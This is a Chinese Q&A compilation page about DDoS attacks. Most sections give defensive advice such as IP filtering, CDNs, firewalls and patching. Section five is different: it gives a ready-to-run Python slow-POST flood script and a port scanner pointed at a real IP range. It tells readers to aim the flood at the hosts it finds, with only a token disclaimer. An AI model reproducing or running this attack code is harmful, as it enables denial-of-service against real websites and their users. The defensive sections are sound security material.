如何ddos攻擊伺服器
㈠ 伺服器被ddos攻擊如何防禦
首先，用戶要去嘗試了解攻擊來自於何處，原因是黑客在攻擊時所調用的IP地址並不一定是真實的，一旦掌握了真實的地址段，可以找到相應的碼段進行隔離，或者臨時過濾。同時，如果連接核心網的埠數量有限，也可以將埠進行屏蔽。
相較被攻擊之後的疲於應對，有完善的安全機制無疑要更好。有些人可能會選擇大規模部署網路基礎設施，但這種辦法只能拖延黑客的攻擊進度，並不能解決問題。與之相比的話，還不如去「屏蔽」那些區域性或者說臨時性的地址段，減少受攻擊的風險面。
此外，還可以在骨幹網、核心網的節點設置防護牆，這樣在遇到大規模攻擊時，可以讓主機減少被直接攻擊的可能。考慮到核心節點的帶寬通常較高，容易成為黑客重點攻擊的位置，所以定期掃描現有的主節點，發現可能導致風險的漏洞，就變得非常重要。
㈡ DDOS攻擊 如何進行DDOS攻擊
還進行呢，就是電腦之間的通信，本來是一個命令問一句話，結果問了1萬句，對方就崩潰了。
㈢ 伺服器怎麼避免DDoS攻擊
8月25日晚，錘子「堅果手機」發布會因故推遲、PPT一堆錯漏、搶紅包故障，據悉是因錘子官網伺服器遭遇了數十G流量DDoS惡意攻擊，現場PPT也是臨時趕制、邊寫邊用，好端端的一場發布會被DDoS攻擊搞的狼狽不堪。
分布式拒絕服務攻擊(DDoS)是目前常見的網路攻擊方法，它的英文全稱為Distributed Denial of Service｡簡單來說，很多DoS攻擊源一起攻擊某台伺服器就形成了DDOS攻擊，從而成倍地提高拒絕服務攻擊的威力。通常，攻擊者將攻擊程序通過代理程序安裝在網路上的各個「肉雞」上，代理程序收到指令時就發動攻擊。
DDoS攻擊的危害很大，而且很難防範，可以直接導致網站宕機、伺服器癱瘓，造成權威受損、品牌蒙羞、財產流失等巨大損失，嚴重威脅著中國互聯網信息安全的發展。
隨著DDOS攻擊在互聯網上的肆虐泛濫，使得DDoS的防範工作變得更加困難。數據顯示，今年Q2，DDoS攻擊活動創下新紀錄，同比增長了132%。其中，最大規模的DDoS攻擊峰值流量超過了240 Gbps，持續了13個小時以上。目前而言，黑客甚至對攻擊進行明碼標價，打1G的流量到一個網站一小時，只需50塊錢。DDoS的成本如此之低，使用如此之囂張，而且攻擊了也沒人管，那麼，廣大的網站用戶應該採取怎樣的措施進行有效的防禦呢？下面我就介紹一下防禦DDoS的基本方法。
1、保證伺服器系統的安全
首先要確保伺服器軟體沒有任何漏洞，防止攻擊者入侵。確保伺服器採用最新系統，並打上安全補丁。在伺服器上刪除未使用的服務，關閉未使用的埠。對於伺服器上運行的網站，確保其打了最新的補丁，沒有安全漏洞。
2、隱藏伺服器的真實IP地址
伺服器前端加CDN中轉（免費的有網路雲加速、360網站衛士、加速樂、安全寶等），如果資金充裕的話，可以購買高防的盾機，用於隱藏伺服器真實IP，域名解析使用CDN的IP，所有解析的子域名都使用CDN的IP地址。此外，伺服器上部署的其他域名也不能使用真實IP解析，全部都使用CDN來解析。
另外，防止伺服器對外傳送信息泄漏IP地址，最常見的情況是，伺服器不要使用發送郵件功能，因為郵件頭會泄漏伺服器的IP地址。如果非要發送郵件，可以通過第三方代理（例如sendcloud）發送，這樣對外顯示的IP是代理的IP地址。
總之，只要伺服器的真實IP不泄露，10G以下小流量DDOS的預防花不了多少錢，免費的CDN就可以應付得了。如果攻擊流量超過20G，那麼免費的CDN可能就頂不住了，需要購買一個高防的盾機來應付了，而伺服器的真實IP同樣需要隱藏。
㈣ 雲伺服器如何防禦ddos攻擊
伺服器可以設置定期掃描
多數網路惡意攻擊都是對骨幹節點進行攻擊，為了防患於未然，伺服器會定期掃描骨幹節點，發現可能存在的安全隱患並及時清理，不給網站攻擊者可乘之機。
伺服器可以在相關骨幹節點會配置防火牆
防火牆能夠過濾網路惡意攻擊，極大提高網路安全而降低由於網路惡意攻擊帶來的風險。
高防伺服器能夠過濾不必要ip和埠
在路由器上過濾掉假的ip，並在高防伺服器上只開放服務埠將其餘埠關閉。例如：XX伺服器只開放80埠，並在其他埠關閉或在防火牆上做阻止策略。
㈤ 如何進行DDOS攻擊怎麼做
會Python嗎？下一個Python3.7.0-3.7.3,把代碼復制下，粘貼即可
代碼：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=".com"#在雙引號里輸入對方IP或域名，要保證他聯網了或開機了，這里拿網路做示範（別運行！不然後果自負！！）
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1 "
"Host: %s "
"Content-Length: 10000000 "
"Cookie: dklkt_dos_test "
" " % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d "%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s "%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻擊網站，以上代碼雖然可行，但是，攻擊效果很不好。
所以，最好用Windows里的PING進行檢測
操作：
在Windows搜索欄里輸入：cmd
輸入：
ping -n 10 -l 1 .com
//這里拿網路做示範，別真打網路！
那麼，就會發現，系統反映了：
正在 Ping .com [39.156.69.79] 具有 1 位元組的數據:
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=26ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=29ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=26ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
39.156.69.79 的 Ping 統計信息:
數據包: 已發送 = 10，已接收 = 10，丟失 = 0 (0% 丟失)，
往返行程的估計時間(以毫秒為單位):
最短 = 26ms，最長 = 29ms，平均 = 27ms
說明，網路的伺服器有一個主伺服器是39.156.69.79
那麼，就來查找網路的所有伺服器吧！
輸入以下代碼：
#絕大多數成功的網路攻擊都是以埠掃描開始的，在網路安全和黑客領域，埠掃描是經常用到的技術，可以探測指定主機上是否
#開放了指定埠，進一步判斷主機是否運行了某些重要的網路服務，最終判斷是否存在潛在的安全漏洞，從一定意義上將也屬於系統運維的范疇
#埠掃描器程序:模擬埠掃描器的工作原理，並採用多進程技術提高掃描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#獲取常用埠對應的服務名稱
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超時時間的不同會影響掃描結果的精確度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#嘗試連接指定埠
sock.connect((host,port))
#記錄打開的埠
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#創建進程池，允許最多8個進程同時運行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#後面的IP少一個，因為要掃描這段區域內的IP，從而進行攻擊
for host_number in map(str,range(8,10)):
host = net + host_number
#創建一個新進程，同時記錄其運行結果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#關閉進程池，close()必須在join()之前調用
pool.close()
#等待進程池中的進程全部執行結束
pool.join()
#列印輸出結果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你會發現，Python反映了：
starting 39.156.69.8...
starting 39.156.69.9...
//並不是指網路只有這兩個伺服器！而是我們目前只能掃描到兩個！
接著，運行DDoS攻擊程序，把IP分別改為39.156.69.8和39.156.69.9
就可以實現DDoS攻擊了。
//註：請不要用於違法用途，並且不要隨意進行攻擊。如想使用，可攻擊虛擬機，但不要攻擊外網IP和域名！！！
㈥ 如何抵禦DDOS攻擊伺服器
分布式拒絕服務攻擊(DDoS)是一種特殊形式的拒絕服務攻擊。它是利用多台已經被攻擊者所控制的機器對某一台單機發起攻擊，在帶寬相對的情況下，被攻擊的主機很容易失去反應能力。作為一種分布、協作的大規模攻擊方式，分布式拒絕服務攻擊(DDoS)主要瞄準比較大的站點，像商業公司，搜索引擎和政府部門的站點。由於它通過利用一批受控制的機器向一台機器發起攻擊，來勢迅猛，而且往往令人難以防備，具有極大的破壞性。
對於此類隱蔽性極好的DDoS攻擊的防範，更重要的是用戶要加強安全防範意識，提高網路系統的安全性。專家建議可以採取的安全防禦措施有以下幾種。
1.及早發現系統存在的攻擊漏洞，及時安裝系統補丁程序。對一些重要的信息（例如系統配置信息）建立和完善備份機制。對一些特權賬號（例如管理員賬號）的密碼設置要謹慎。通過這樣一系列的舉措可以把攻擊者的可乘之機降低到最小。
2.在網路管理方面，要經常檢查系統的物理環境，禁止那些不必要的網路服務。建立邊界安全界限，確保輸出的包受到正確限制。經常檢測系統配置信息，並注意查看每天的安全日誌。
3.利用網路安全設備（例如：防火牆）來加固網路的安全性，配置好這些設備的安全規則，過濾掉所有可能的偽造數據包。
4.與網路服務提供商協調工作，讓網路服務提供商幫助實現路由的訪問控制和對帶寬總量的限制。
5.當用戶發現自己正在遭受DDoS攻擊時，應當啟動自己的應付策略，盡可能快地追蹤攻擊包，並且及時聯系ISP和有關應急組織，分析受影響的系統，確定涉及的其他節點，從而阻擋從已知攻擊節點的流量。
6.如果用戶是潛在的DDoS攻擊受害者，並且用戶發現自己的計算機被攻擊者用作主控端和代理端時，用戶不能因為自己的系統暫時沒有受到損害而掉以輕心。攻擊者一旦發現用戶系統的漏洞，這對用戶的系統是一個很大的威脅。所以用戶只要發現系統中存在DDoS攻擊的工具軟體要及時把它清除，以免留下後患。